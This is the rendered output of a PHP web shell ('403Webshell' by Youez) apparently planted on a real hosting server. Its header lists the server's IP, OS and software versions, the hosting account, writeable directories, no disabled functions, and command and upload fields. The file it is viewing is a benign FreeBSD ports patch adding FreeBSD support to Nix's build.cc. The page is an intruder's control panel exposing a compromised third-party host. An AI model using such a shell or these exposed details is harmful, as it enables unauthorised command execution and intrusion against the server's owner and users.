403Webshell
Server IP : 82.208.35.60  /  Your IP : 216.73.217.116
Web Server : Apache/2.4.55 (FreeBSD) OpenSSL/1.1.1q-freebsd PHP/7.3.31
System : FreeBSD server7.d2m.cz 12.4-RELEASE-p9 FreeBSD 12.4-RELEASE-p9 GENERIC amd64
User : studiokobylisy_cz ( 1008)
PHP Version : 7.3.31
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/ports/sysutils/nix/files/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/ports/sysutils/nix/files/patch-src_libstore_build.cc
--- src/libstore/build.cc.orig	2019-11-28 21:39:47 UTC
+++ src/libstore/build.cc
@@ -44,12 +44,16 @@
 #include <grp.h>
 
 /* Includes required for chroot support. */
-#if __linux__
+#if __linux__ || __FreeBSD__
 #include <sys/socket.h>
 #include <sys/ioctl.h>
 #include <net/if.h>
+#endif
+#if __linux__
 #include <netinet/ip.h>
 #include <sys/personality.h>
+#endif
+#if __linux__ || __FreeBSD__
 #include <sys/mman.h>
 #include <sched.h>
 #include <sys/param.h>
@@ -1943,7 +1947,7 @@ void DerivationGoal::startBuilder()
     /* If `build-users-group' is not empty, then we have to build as
        one of the members of that group. */
     if (settings.buildUsersGroup != "" && getuid() == 0) {
-#if defined(__linux__) || defined(__APPLE__)
+#if defined(__linux__) || defined(__APPLE__) || defined(__FreeBSD__)
         buildUser = std::make_unique<UserLock>();
 
         /* Make sure that no other processes are executing under this

Youez - 2016 - github.com/yon3zu
LinuXploit